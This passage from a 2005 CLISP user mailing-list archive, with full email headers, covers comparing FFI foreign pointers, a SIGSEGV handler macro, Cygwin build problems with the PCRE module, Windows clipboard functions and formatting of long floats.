#(FFI:C-POINTER FFI:INT) [2] How do I compare two foreign pointers, which might be holding address of some same arbitrary complex structure? CL-USER> (ffi:with-c-var (x `(ffi:c-pointer ffi:int)) (setf x (ffi:allocate-deep 'ffi:int 5)) (print (equal x x)) (print (eq (ffi:foreign-value x) (ffi:foreign-value x)))) NIL T CL-USER> (ffi:with-c-var (x `(ffi:c-pointer (ffi:c-pointer ffi:int))) (setf x (ffi:allocate-shallow '(ffi:c-pointer ffi:int))) (setf (ffi:foreign-value x) (ffi:allocate-deep 'ffi:int 5)) (print (equal (ffi:foreign-value x) (ffi:foreign-value x))) (print (equal (ffi:foreign-value (ffi:foreign-value x)) (ffi:foreign-value (ffi:foreign-value x))))) NIL T Thanks. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.html "War is Peace! Freedom is Slavery! Ignorance is Strength!" - Orwell, 1984, 1948 From pjb@informatimago.com Sat Aug 13 14:12:15 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E43Ib-0005Au-KU for clisp-list@lists.sourceforge.net; Sat, 13 Aug 2005 14:12:13 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E43IY-00067Q-Nz for clisp-list@lists.sourceforge.net; Sat, 13 Aug 2005 14:12:13 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id A030458344; Sat, 13 Aug 2005 23:11:51 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 1745B582FA; Sat, 13 Aug 2005 23:11:41 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 0131110FBF3; Sat, 13 Aug 2005 23:11:40 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17150.25100.641931.118662@thalassa.informatimago.com> To: Surendra Singhi Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Comparing foreign pointers & lisp crash In-Reply-To: <3bpdzhj3.fsf@netscape.net> References: <3bpdzhj3.fsf@netscape.net> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Aug 13 14:13:03 2005 X-Original-Date: Sat, 13 Aug 2005 23:11:40 +0200 Surendra Singhi writes: > Hi, > > [1] First I will mention the lisp crashing part. This variable assignment > below though incorrect should not make lisp crash, rather a warning would be > helpful. > > (ffi:with-c-var (x `(ffi:c-ptr ffi:int)) > (setf x 5)) If you access an invalid address, you get a SIGSEG. If you don't want the default handler, then you must install your own. The signal handling functions are ANSI C or POSIX so you should have them on MS-Windows too (write the FFI to them). [1]> (package:load-package :com.informatimago.clisp.raw-memory) ;; Loading file /usr/local/share/lisp/packages/com/informatimago/clisp/OBJ-CLISP-23383-I686/raw-memory.fas ... ;; Loaded file /usr/local/share/lisp/packages/com/informatimago/clisp/OBJ-CLISP-23383-I686/raw-memory.fas T [2]> (com.informatimago.clisp.raw-memory:with-sigseg-handler (ffi:with-c-var (x `(ffi:c-ptr ffi:int)) (setf x 5))) *** - Got Segment Violation Signal while accessing raw memory The following restarts are available: ABORT :R1 ABORT Break 1 [3]> :a [4]> (defun install-signal-handler (signum handler) (let ((oldhan (linux:|set-signal-handler| signum handler)) (sigset (second (multiple-value-list (linux:|sigaddset| (second (multiple-value-list (linux:|sigemptyset|))) signum))))) (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| sigset) (values signum oldhan sigset))) (defun restore-signal-handler (signum oldhan sigset) (linux:|set-signal-handler| signum oldhan) (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| sigset)) (defmacro with-signal-handler (signum handler &body body) (let ((voldhan (gensym)) (vsignum (gensym)) (vsigset (gensym))) `(let* ((,vsignum ,signum) (,voldhan (linux:|set-signal-handler| ,vsignum ,handler)) (,vsigset (second (multiple-value-list (linux:|sigaddset| (second (multiple-value-list (linux:|sigemptyset|))) ,vsignum))))) (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| ,vsigset) (unwind-protect (progn ,@body) (linux:|set-signal-handler| ,vsignum ,voldhan) (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| ,vsigset))))) (defmacro with-sigseg-handler (&body body) `(with-signal-handler linux:|SIGSEGV| (lambda (signum) (declare (ignore signum)) (error "Got Segment Violation Signal while accessing raw memory")) ,@body)) -- __Pascal Bourguignon__ http://www.informatimago.com/ -----BEGIN GEEK CODE BLOCK----- Version: 3.12 GCS d? s++:++ a+ C+++ UL++++ P--- L+++ E+++ W++ N+++ o-- K- w--- O- M++ V PS PE++ Y++ PGP t+ 5+ X++ R !tv b+++ DI++++ D++ G e+++ h+ r-- z? ------END GEEK CODE BLOCK------ From sds@gnu.org Sat Aug 13 19:23:33 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E489t-0003YH-I1 for clisp-list@lists.sourceforge.net; Sat, 13 Aug 2005 19:23:33 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E489q-0000zk-3x for clisp-list@lists.sourceforge.net; Sat, 13 Aug 2005 19:23:33 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp04.mrf.mail.rcn.net with ESMTP; 13 Aug 2005 22:23:28 -0400 X-IronPort-AV: i="3.96,105,1122868800"; d="scan'208"; a="70043275:sNHT21511808" To: clisp-list@lists.sourceforge.net, Jeremy Shute Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42FD0C32.6080106@google.com> (Jeremy Shute's message of "Fri, 12 Aug 2005 16:53:06 -0400") References: <42FBBB68.3060106@google.com> <42FD0C32.6080106@google.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Jeremy Shute Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp 2.34 does not build correctly on Cygwin. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Aug 13 19:24:06 2005 X-Original-Date: Sat, 13 Aug 2005 22:22:38 -0400 > * Jeremy Shute [2005-08-12 16:53:06 -0400]: > > I can't get CVS head to build with fastcgi and pcre support, either. please try $ rm -rf clisp $ cvs co clisp $ cd clisp $ ./configure --with-dynamic-ffi --with-module=fastcgi --with-module=pcre --with-pcre-prefix=/usr/local --build build $ cd build if you get errors, please report them using cut and paste. thanks. > When make runs: > > full/lisp.exe -B . -M full/lispinit.mem -norc -q -i fastcgi/fastcgi -i > pcre/pcre -x (saveinitmem "full/lispinit.mem") > > ...it barfs badly. I don't know what tis might mean. -- Sam Steingold (http://www.podval.org/~sds) running w2k Bus error -- driver executed. From sds@gnu.org Sat Aug 13 19:28:51 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E48F1-0003ij-0h for clisp-list@lists.sourceforge.net; Sat, 13 Aug 2005 19:28:51 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E48Ex-0001mx-KX for clisp-list@lists.sourceforge.net; Sat, 13 Aug 2005 19:28:51 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp04.mrf.mail.rcn.net with ESMTP; 13 Aug 2005 22:28:47 -0400 X-IronPort-AV: i="3.96,105,1122868800"; d="scan'208"; a="70043916:sNHT22076544" To: clisp-list@lists.sourceforge.net, Arseny Slobodyuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <6980375.20050813175556@ich.dvo.ru> (Arseny Slobodyuk's message of "Sat, 13 Aug 2005 17:55:56 +1100") References: <6980375.20050813175556@ich.dvo.ru> Mail-Followup-To: clisp-list@lists.sourceforge.net, Arseny Slobodyuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clipboard functions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Aug 13 19:29:05 2005 X-Original-Date: Sat, 13 Aug 2005 22:27:58 -0400 > * Arseny Slobodyuk [2005-08-13 17:55:56 +1100]: > > > /* (EXT::SETCLIPBOARD str) > puts str, which should be a string to Windows clipboard. > On NT put it as CF_UNICODETEXT, on Windows 95/98 - > as CF_TEXT (translates to ANSI character set using > *MISC-ENCODING*). > returns: T on success, NIL otherwise.*/ > > /* (EXT::GETCLIPBOARD) > Return the textual contents of Windows clipboard. First try to get > it as CF_UNICODETEXT, then CF_TEXT. > returns: string or NIL (on failure or when no text available */ cool! > and want to: > 1. Leave them in base distribution (since it is not so easy > to compile and link POSIX in MSVC). May I? > 2. Export them from EXT, in which lisp file is better to do it? I would much prefer that it is placed in modules/syscalls and implemented for X window system too. it should be (os:clipboard) and (os::%set-clipboard string) and (defsetf os:clipboard os::%set-clipboard) > 3. Make short abbreviations to them and to > (eval (read-from-string (ext:getclipboard))) > or probably something more complicated to handle NIL > (To encourage users to use it). "Paste :p paste from clipboard and evaluate" see > This was inspired by "spurious #\L problem". I would rather have that fixed... -- Sam Steingold (http://www.podval.org/~sds) running w2k "Syntactic sugar causes cancer of the semicolon." -Alan Perlis From ampy@ich.dvo.ru Sat Aug 13 22:53:28 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E4BR2-0003Lm-JA for clisp-list@lists.sourceforge.net; Sat, 13 Aug 2005 22:53:28 -0700 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E4BQz-00070b-Ub for clisp-list@lists.sourceforge.net; Sat, 13 Aug 2005 22:53:28 -0700 Received: from lenin (host-206-107.hosts.vtc.ru [212.16.206.107]) by vtc.ru (8.13.4/8.13.4) with ESMTP id j7E5rE3f019473 for ; Sun, 14 Aug 2005 16:53:16 +1100 From: Arseny Slobodyuk X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodyuk Organization: ICH X-Priority: 3 (Normal) Message-ID: <6027668562.20050814165054@ich.dvo.ru> To: Sam Steingold Subject: Re: [clisp-list] Re: clipboard functions In-reply-To: References: <6980375.20050813175556@ich.dvo.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Aug 13 22:54:04 2005 X-Original-Date: Sun, 14 Aug 2005 16:50:54 +1100 >> and want to: >> 1. Leave them in base distribution (since it is not so easy >> to compile and link POSIX in MSVC). May I? >> 2. Export them from EXT, in which lisp file is better to do it? > I would much prefer that it is placed in modules/syscalls :( There's no fun in implementing something like this and not using it! It's against GNU formula, I believe. >> 3. Make short abbreviations to them and to >> (eval (read-from-string (ext:getclipboard))) >> or probably something more complicated to handle NIL >> (To encourage users to use it). >> (os:clipboard) >> and >> (os::%set-clipboard string) Yep, it's better. > "Paste :p paste from clipboard and evaluate" > see I'm already happy with (defun copy (expr) (ext::setclipboard (with-output-to-string (out) (print expr out))) expr) (defun paste () (let ((clip (ext::getclipboard))) (if clip (read-from-string clip) nil))) in .clisprc, actually it's better without eval. -- Best regards, Arseny From shutej@google.com Sun Aug 14 05:44:52 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E4Hr9-0004lF-W0 for clisp-list@lists.sourceforge.net; Sun, 14 Aug 2005 05:44:51 -0700 Received: from 216-239-45-4.google.com ([216.239.45.4]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E4Hr8-0004NH-TL for clisp-list@lists.sourceforge.net; Sun, 14 Aug 2005 05:44:52 -0700 Received: from smtp.google.com (mordor.corp.google.com [192.168.15.226]) by chris.corp.google.com with ESMTP id j7ECiXcq008679 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 14 Aug 2005 05:44:35 -0700 Received: from [192.168.1.103] (pool-141-150-137-119.mad.east.verizon.net [141.150.137.119]) (authenticated bits=0) by smtp.google.com (8.12.11/8.12.11) with ESMTP id j7ECiQxk015135 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT) for ; Sun, 14 Aug 2005 05:44:33 -0700 Message-ID: <42FF3CA6.3000601@google.com> From: Jeremy Shute User-Agent: Mozilla Thunderbird 1.0.6 (Windows/20050716) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <42FBBB68.3060106@google.com> <42FD0C32.6080106@google.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -4.2 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -4.3 RCVD_IN_BSP_TRUSTED RBL: Sender is in Bonded Sender Program (trusted relay) [IronPort Bonded Sender - ] Subject: [clisp-list] Re: clisp 2.34 does not build correctly on Cygwin. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Aug 14 05:45:09 2005 X-Original-Date: Sun, 14 Aug 2005 08:44:22 -0400 OK, I did exactly as you said. Here are the results: configure: * PCRE (Functions): checking for library containing pcre_compile... no configure: error: cannot find PCRE library make: *** [pcre] Error 1 This is why I used the LIB variable, before. The library is there, but the configure script in the PCRE module doesn't see it. When I said "full/lisp.exe" barfs badly, I mean that the Makefile is trying to invoke that executable, when the "full" directory doesn't even exist at that stage of the make. In other words, it's trying to run an executable that's not there. Jeremy Sam Steingold wrote: >>* Jeremy Shute [2005-08-12 16:53:06 -0400]: >> >>I can't get CVS head to build with fastcgi and pcre support, either. >> >> > >please try >$ rm -rf clisp >$ cvs co clisp >$ cd clisp >$ ./configure --with-dynamic-ffi --with-module=fastcgi --with-module=pcre --with-pcre-prefix=/usr/local --build build >$ cd build > >if you get errors, please report them using cut and paste. > >thanks. > > > >>When make runs: >> >>full/lisp.exe -B . -M full/lispinit.mem -norc -q -i fastcgi/fastcgi -i >>pcre/pcre -x (saveinitmem "full/lispinit.mem") >> >>...it barfs badly. >> >> > >I don't know what tis might mean. > > > From sds@gnu.org Sun Aug 14 06:33:31 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E4IcF-0006xi-KD for clisp-list@lists.sourceforge.net; Sun, 14 Aug 2005 06:33:31 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E4IcD-0007e6-7d for clisp-list@lists.sourceforge.net; Sun, 14 Aug 2005 06:33:31 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp04.mrf.mail.rcn.net with ESMTP; 14 Aug 2005 09:33:27 -0400 X-IronPort-AV: i="3.96,105,1122868800"; d="scan'208"; a="70120124:sNHT22348082" To: clisp-list@lists.sourceforge.net, Jeremy Shute Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42FF3CA6.3000601@google.com> (Jeremy Shute's message of "Sun, 14 Aug 2005 08:44:22 -0400") References: <42FBBB68.3060106@google.com> <42FD0C32.6080106@google.com> <42FF3CA6.3000601@google.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Jeremy Shute Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp 2.34 does not build correctly on Cygwin. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Aug 14 06:34:05 2005 X-Original-Date: Sun, 14 Aug 2005 09:32:38 -0400 > * Jeremy Shute [2005-08-14 08:44:22 -0400]: > > OK, I did exactly as you said. Here are the results: > > configure: * PCRE (Functions): > checking for library containing pcre_compile... no > configure: error: cannot find PCRE library > make: *** [pcre] Error 1 > > This is why I used the LIB variable, before. The library is there, but > the configure script in the PCRE module doesn't see it. sorry, make that --with-libpcre-prefix=/usr/local > When I said "full/lisp.exe" barfs badly, I mean that the Makefile is > trying to invoke that executable, when the "full" directory doesn't > even exist at that stage of the make. In other words, it's trying to > run an executable that's not there. if you look a couple of lines above, you will discover that if linking of full/lisp.exe fails, the directory full is removed. -- Sam Steingold (http://www.podval.org/~sds) running w2k I don't like cats! -- Come on, you just don't know how to cook them! From sds@gnu.org Sun Aug 14 06:39:18 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E4Ihb-0007B4-36 for clisp-list@lists.sourceforge.net; Sun, 14 Aug 2005 06:39:03 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E4Iha-0000Ft-Q3 for clisp-list@lists.sourceforge.net; Sun, 14 Aug 2005 06:39:03 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp04.mrf.mail.rcn.net with ESMTP; 14 Aug 2005 09:39:02 -0400 X-IronPort-AV: i="3.96,105,1122868800"; d="scan'208"; a="70121110:sNHT21943604" To: clisp-list@lists.sourceforge.net, Arseny Slobodyuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <6027668562.20050814165054@ich.dvo.ru> (Arseny Slobodyuk's message of "Sun, 14 Aug 2005 16:50:54 +1100") References: <6980375.20050813175556@ich.dvo.ru> <6027668562.20050814165054@ich.dvo.ru> Mail-Followup-To: clisp-list@lists.sourceforge.net, Arseny Slobodyuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clipboard functions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Aug 14 06:40:01 2005 X-Original-Date: Sun, 14 Aug 2005 09:38:13 -0400 > * Arseny Slobodyuk [2005-08-14 16:50:54 +1100]: > >>> and want to: >>> 1. Leave them in base distribution (since it is not so easy >>> to compile and link POSIX in MSVC). May I? >>> 2. Export them from EXT, in which lisp file is better to do it? > >> I would much prefer that it is placed in modules/syscalls > :( There's no fun in implementing something like this and not using it! indeed - all the more reasons to use mingw! > It's against GNU formula, I believe. well, if you are into ideological purity (AKA political correctness), then it would do you good to remember that the FSF is against the use of non-free software when a free alternative is available. thus you are a sinner just by virtue of using MSVC when mingw is available! ("a sinner by virtue"!!! I _love_ English language!) >> "Paste :p paste from clipboard and evaluate" >> see > I'm already happy with > > (defun copy (expr) > (ext::setclipboard (with-output-to-string (out) (print expr out))) > expr) (with-output-to-string (out) (with-standard-io-syntax (write expr :stream out))) > (defun paste () > (let ((clip (ext::getclipboard))) > (if clip (read-from-string clip) nil))) > > in .clisprc, actually it's better without eval. OK. -- Sam Steingold (http://www.podval.org/~sds) running w2k If Perl is the solution, you're solving the wrong problem. - Erik Naggum From onayu@gmx.net Sun Aug 14 13:04:43 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E4Oio-0006u2-RU for clisp-list@lists.sourceforge.net; Sun, 14 Aug 2005 13:04:42 -0700 Received: from pop.gmx.net ([213.165.64.20] helo=mail.gmx.net) by mail.sourceforge.net with smtp (Exim 4.44) id 1E4Oin-00075b-8Z for clisp-list@lists.sourceforge.net; Sun, 14 Aug 2005 13:04:42 -0700 Received: (qmail invoked by alias); 14 Aug 2005 20:04:33 -0000 Received: from dsl-082-082-136-190.arcor-ip.net (EHLO localhost) [82.82.136.190] by mail.gmx.net (mp026) with SMTP; 14 Aug 2005 22:04:33 +0200 X-Authenticated: #19339541 From: Onay Organization: Urfalioglu To: clisp-list@lists.sourceforge.net User-Agent: KMail/1.8.2 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200508142204.29526.onayu@gmx.net> X-Y-GMX-Trusted: 0 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] formatted output of bigfloat Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Aug 14 13:05:08 2005 X-Original-Date: Sun, 14 Aug 2005 22:04:29 +0200 is there any way to influence to output of e.g. (setf a #(1.234567877777777777775555555L0 555)) so that the output is like #(1.23L0 555) instead of #(1.234567877777777777775555555L0 555) ?? I am aware of the format directive F, like "~10f" prints 10 characters only... But this seems not to work on vectors/arrays. regards oni From pjb@informatimago.com Sun Aug 14 13:43:49 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E4PKa-0000AJ-8G for clisp-list@lists.sourceforge.net; Sun, 14 Aug 2005 13:43:44 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E4PKT-00021i-D3 for clisp-list@lists.sourceforge.net; Sun, 14 Aug 2005 13:43:44 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 9F97258344; Sun, 14 Aug 2005 22:43:15 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 53F0E582FA; Sun, 14 Aug 2005 22:43:12 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 3C3FA10FBF3; Sun, 14 Aug 2005 22:43:11 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17151.44254.630953.635024@thalassa.informatimago.com> To: Onay Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] formatted output of bigfloat In-Reply-To: <200508142204.29526.onayu@gmx.net> References: <200508142204.29526.onayu@gmx.net> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 